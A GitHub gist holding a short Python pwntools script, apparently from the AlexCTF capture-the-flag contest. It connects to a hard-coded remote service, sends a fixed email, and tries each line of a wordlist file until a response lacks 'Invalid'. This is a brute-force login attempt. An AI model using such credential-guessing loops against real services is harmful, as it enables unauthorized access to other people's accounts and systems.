Skip to content

Instantly share code, notes, and snippets.

@CreateRemoteThread
Created February 6, 2017 10:56
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save CreateRemoteThread/b053bca3479cddcac8d55ed094ac158c to your computer and use it in GitHub Desktop.
Save CreateRemoteThread/b053bca3479cddcac8d55ed094ac158c to your computer and use it in GitHub Desktop.
#!/usr/bin/python
import pwn
import time
d = open("uniqnotes","r")
l = d.readlines()
d.close()
for line in l:
p = pwn.remote("195.154.53.62",2222)
p.recv()
p.sendline("alexctf@example.com")
p.recv()
p.sendline(line.rstrip())
data = p.recv()
if "Invalid" in data:
p.close()
else:
print line.rstrip()
print data
p.close()
import sys
sys.exit()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment